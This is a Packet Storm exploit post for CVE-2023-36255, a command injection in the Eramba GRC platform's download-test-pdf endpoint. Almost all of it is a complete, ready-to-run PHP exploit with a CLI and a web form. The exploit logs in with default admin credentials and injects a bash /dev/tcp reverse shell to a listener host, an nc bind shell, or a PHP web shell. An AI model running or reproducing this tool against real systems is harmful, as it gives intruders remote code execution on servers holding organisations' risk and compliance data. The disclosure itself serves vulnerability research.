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## https://sploitus.com/exploit?id=PACKETSTORM:212774
=============================================================================================================================================
| # Title : Eramba GRC platform 3.19.1 Command injection in download-test-pdf endpoint |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.eramba.org/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/190048/ & CVE-2023-36255
[+] Summary :
Critical authenticated remote code execution vulnerability in Eramba GRC platform (versions up to 3.19.1)
allowing command injection through the download-test-pdf endpoint when debug mode is enabled.
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* by : indoushka based on Metasploit module
*/
class ErambaExploit {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;
private $cookies;
private $username;
private $password;
public function __construct($target, $port = 8443, $ssl = true, $base_path = '/', $username = 'admin', $password = 'admin') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
$this->cookies = [];
$this->username = $username;
$this->password = $password;
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking Eramba vulnerability...\n";
$res = $this->send_request('/login', 'GET');
if (!$res || $res['code'] != 200) {
echo "[-] Failed to access login page\n";
return "unknown";
}
// Extract version from HTML
$version = $this->extract_version($res['body']);
if (!$version) {
echo "[-] Could not determine Eramba version\n";
return "unknown";
}
echo "[*] Detected Eramba version: $version\n";
// Check if debug mode is enabled
$debug_enabled = $this->check_debug_mode($res['body']);
if (!$debug_enabled) {
echo "[-] Debug mode is not enabled - target is not vulnerable\n";
return "safe";
}
echo "[+] Debug mode is enabled\n";
// Check version against vulnerable range
if ($this->is_version_vulnerable($version)) {
echo "[+] โ Eramba version $version is vulnerable\n";
return "vulnerable";
} else {
echo "[-] Eramba version $version is not affected\n";
return "safe";
}
}
/**
* Extract version from HTML
*/
private function extract_version($html) {
// Look for version pattern: <p>App version <strong>X.X.X</strong>
if (preg_match('/App version\s*<strong>([0-9]+\.[0-9]+\.[0-9]+)<\/strong>/i', $html, $matches)) {
return $matches[1];
}
return null;
}
/**
* Check if debug mode is enabled
*/
private function check_debug_mode($html) {
// Look for debug token field
return strpos($html, 'name="_Token[debug]"') !== false;
}
/**
* Check if version is vulnerable
*/
private function is_version_vulnerable($version) {
$version_parts = explode('.', $version);
$major = intval($version_parts[0]);
$minor = intval($version_parts[1]);
$patch = intval($version_parts[2]);
// Vulnerable: versions up to 3.19.1
if ($major < 3) return true;
if ($major == 3) {
if ($minor < 19) return true;
if ($minor == 19 && $patch <= 1) return true;
}
return false;
}
/**
* Login to Eramba
*/
private function login() {
echo "[*] Attempting to login...\n";
// First GET request to get tokens
$res = $this->send_request('/login', 'GET', [], null, [], true);
if (!$res || $res['code'] != 200) {
echo "[-] Failed to access login page\n";
return false;
}
// Extract CSRF and token fields
$tokens = $this->extract_tokens($res['body']);
if (!$tokens) {
echo "[-] Could not extract authentication tokens\n";
return false;
}
echo "[*] Extracted CSRF token and form tokens\n";
// Perform login
$login_data = [
'_csrfToken' => $tokens['csrf'],
'login' => $this->username,
'password' => $this->password,
'_Token[fields]' => $tokens['fields'],
'_Token[unlocked]' => $tokens['unlocked'],
'_Token[debug]' => $tokens['debug']
];
$res = $this->send_request('/login', 'POST', [], http_build_query($login_data), [
'Content-Type: application/x-www-form-urlencoded'
], true);
if (!$res || $res['code'] != 200) {
echo "[-] Login failed - invalid credentials or server error\n";
return false;
}
// Check if login was successful by looking for dashboard
if (strpos($res['body'], 'Landing Dashboard') !== false) {
echo "[+] Successfully logged in as {$this->username}\n";
return true;
} else {
echo "[-] Login failed - check credentials\n";
return false;
}
}
/**
* Extract tokens from HTML form
*/
private function extract_tokens($html) {
$tokens = [];
// Extract CSRF token
if (preg_match('/name="_csrfToken"\s+value="([^"]+)"/', $html, $matches)) {
$tokens['csrf'] = $matches[1];
}
// Extract token fields
if (preg_match('/name="_Token\[fields\]"\s+value="([^"]+)"/', $html, $matches)) {
$tokens['fields'] = $matches[1];
}
// Extract token unlocked
if (preg_match('/name="_Token\[unlocked\]"\s+value="([^"]+)"/', $html, $matches)) {
$tokens['unlocked'] = $matches[1];
}
// Extract token debug
if (preg_match('/name="_Token\[debug\]"\s+value="([^"]+)"/', $html, $matches)) {
$tokens['debug'] = $matches[1];
}
if (count($tokens) == 4) {
return $tokens;
}
return false;
}
/**
* Execute the exploit
*/
public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
echo "[*] Starting Eramba exploitation...\n";
// Step 1: Login
if (!$this->login()) {
echo "[-] Authentication failed\n";
return false;
}
// Step 2: Generate payload
$payload = $this->generate_payload($payload_type, $lhost, $lport);
if (!$payload) {
echo "[-] Failed to generate payload\n";
return false;
}
echo "[*] Generated payload: " . htmlspecialchars($payload) . "\n";
// Step 3: Execute via download-test-pdf endpoint
echo "[*] Executing payload via download-test-pdf endpoint...\n";
$res = $this->send_request('/settings/download-test-pdf', 'GET', [
'path' => $payload
]);
if ($res) {
echo "[+] โ Payload sent successfully\n";
echo "[*] Check your listener for connection\n";
return true;
} else {
echo "[-] Failed to execute payload\n";
return false;
}
}
/**
* Generate payload commands
*/
private function generate_payload($type, $lhost, $lport) {
switch ($type) {
case 'reverse_shell':
if (!$lhost || !$lport) {
echo "[-] IP and port required for reverse shell\n";
return false;
}
// Bash reverse shell
return "bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'";
case 'bind_shell':
if (!$lport) {
echo "[-] Port required for bind shell\n";
return false;
}
return "nc -lvp {$lport} -e /bin/bash";
case 'command':
return 'id; whoami; uname -a; pwd';
case 'web_shell':
// This would create a web shell file
$filename = $this->random_text(8) . '.php';
$web_shell = '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>';
return "echo '{$web_shell}' > /tmp/{$filename}";
default:
return 'id; whoami; hostname';
}
}
/**
* Send HTTP request
*/
private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $save_cookies = false) {
$url = $this->build_url($path);
if ($method == 'GET' && !empty($params)) {
$url .= '?' . http_build_query($params);
}
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
CURLOPT_HEADER => true,
CURLOPT_CUSTOMREQUEST => $method,
CURLOPT_FOLLOWLOCATION => false
]);
// Add POST data if provided
if ($method == 'POST' && $data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
// Build headers
$headers = array_merge([
'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
], $custom_headers);
// Add cookies if available
$cookie_header = $this->build_cookie_header();
if ($cookie_header) {
$headers[] = $cookie_header;
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Save cookies if requested
if ($save_cookies && $response) {
$this->extract_cookies($response);
}
curl_close($ch);
if ($response) {
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
return [
'code' => $http_code,
'headers' => $headers,
'body' => $body
];
}
return false;
}
/**
* Extract cookies from response headers
*/
private function extract_cookies($response) {
if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response, $matches)) {
for ($i = 0; $i < count($matches[1]); $i++) {
$this->cookies[trim($matches[1][$i])] = $matches[2][$i];
}
}
}
/**
* Build cookie header from stored cookies
*/
private function build_cookie_header() {
if (empty($this->cookies)) {
return null;
}
$cookie_parts = [];
foreach ($this->cookies as $name => $value) {
$cookie_parts[] = "{$name}={$value}";
}
return 'Cookie: ' . implode('; ', $cookie_parts);
}
/**
* Generate random text
*/
private function random_text($length = 8) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $chars[rand(0, strlen($chars) - 1)];
}
return $result;
}
/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Eramba RCE Exploit โ
โ CVE-2023-36255 โ
โ PHP Implementation โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
\n";
$options = getopt("t:p:s:u:U:P:cL:H:", [
"target:",
"port:",
"ssl",
"uri:",
"username:",
"password:",
"check",
"lhost:",
"lport:"
]);
$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 8443;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$username = $options['U'] ?? $options['username'] ?? 'admin';
$password = $options['P'] ?? $options['password'] ?? 'admin';
$check_only = isset($options['c']) || isset($options['check']);
$lhost = $options['H'] ?? $options['lhost'] ?? null;
$lport = $options['L'] ?? $options['lport'] ?? 4444;
if (!$target) {
echo "Usage: php eramba_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 8443)\n";
echo " -s, --ssl Use SSL (default: true)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -U, --username Username (default: admin)\n";
echo " -P, --password Password (default: admin)\n";
echo " -c, --check Check only (don't exploit)\n";
echo " -H, --lhost Listener host for reverse shell\n";
echo " -L, --lport Listener port for reverse shell (default: 4444)\n";
echo "\nExamples:\n";
echo " php eramba_exploit.php -t 192.168.1.100 -c\n";
echo " php eramba_exploit.php -t eramba.company.com -U admin -P password -H 10.0.0.5 -L 4444\n";
exit(1);
}
$exploit = new ErambaExploit($target, $port, $ssl, $base_uri, $username, $password);
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} else {
if ($exploit->exploit('reverse_shell', $lhost, $lport)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
}
} else {
// Web Interface
$action = $_POST['action'] ?? '';
if ($action === 'check' || $action === 'exploit') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 8443;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$username = $_POST['username'] ?? 'admin';
$password = $_POST['password'] ?? 'admin';
$payload_type = $_POST['payload_type'] ?? 'command';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? 4444;
if (empty($target)) {
echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
} else {
$exploit = new ErambaExploit($target, $port, $ssl, $base_uri, $username, $password);
ob_start();
if ($action === 'check') {
$exploit->check();
} else {
$exploit->exploit($payload_type, $lhost, $lport);
}
$output = ob_get_clean();
echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
}
echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
} else {
// Display the form
echo '<!DOCTYPE html>
<html>
<head>
<title>Eramba RCE Exploit - CVE-2023-36255</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
border-bottom: 2px solid #007cba;
padding-bottom: 10px;
}
h3 {
color: #666;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: bold;
color: #333;
}
input[type="text"], input[type="password"], select {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
.checkbox-group {
display: flex;
align-items: center;
gap: 10px;
}
button {
background: #007cba;
color: white;
padding: 12px 25px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-right: 10px;
font-size: 16px;
transition: background 0.3s;
}
button:hover {
background: #005a87;
}
.danger {
background: #dc3545;
}
.danger:hover {
background: #c82333;
}
.info {
background: #17a2b8;
}
.info:hover {
background: #138496;
}
.warning-box {
background: #fff3cd;
border: 1px solid #ffeaa7;
color: #856404;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
.info-box {
background: #d1ecf1;
border: 1px solid #bee5eb;
color: #0c5460;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
</style>
</head>
<body>
<div class="container">
<h1>Eramba RCE Exploit</h1>
<h3>CVE-2023-36255 - Authenticated Remote Code Execution</h3>
<div class="warning-box">
<strong>โ ๏ธ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in Eramba.
Use only on systems you own or have explicit permission to test.
</div>
<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.100 or eramba.company.com" required>
</div>
<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="8443">
</div>
<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>
<div class="form-group">
<div class="checkbox-group">
<input type="checkbox" id="ssl" name="ssl" checked>
<label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
</div>
</div>
<div class="form-group">
<label for="username">Username:</label>
<input type="text" id="username" name="username" value="admin" required>
</div>
<div class="form-group">
<label for="password">Password:</label>
<input type="password" id="password" name="password" value="admin" required>
</div>
<div class="form-group">
<label for="payload_type">Payload Type:</label>
<select id="payload_type" name="payload_type">
<option value="command">Test Command</option>
<option value="reverse_shell">Reverse Shell</option>
<option value="bind_shell">Bind Shell</option>
<option value="web_shell">Web Shell</option>
</select>
</div>
<div class="form-group">
<label for="lhost">Listener Host (for reverse shell):</label>
<input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
</div>
<div class="form-group">
<label for="lport">Listener Port (for reverse shell):</label>
<input type="text" id="lport" name="lport" value="4444">
</div>
<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
</form>
<div class="info-box">
<h3>About CVE-2023-36255:</h3>
<p><strong>Vulnerability:</strong> Command injection in download-test-pdf endpoint</p>
<p><strong>Affected Versions:</strong> Eramba up to 3.19.1</p>
<p><strong>Prerequisites:</strong> Debug mode must be enabled</p>
<p><strong>Authentication:</strong> Requires valid user credentials</p>
<p><strong>Endpoint:</strong> /settings/download-test-pdf</p>
<p><strong>Parameter:</strong> path (command injection)</p>
<p><strong>Impact:</strong> Authenticated Remote Code Execution</p>
</div>
</div>
</body>
</html>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================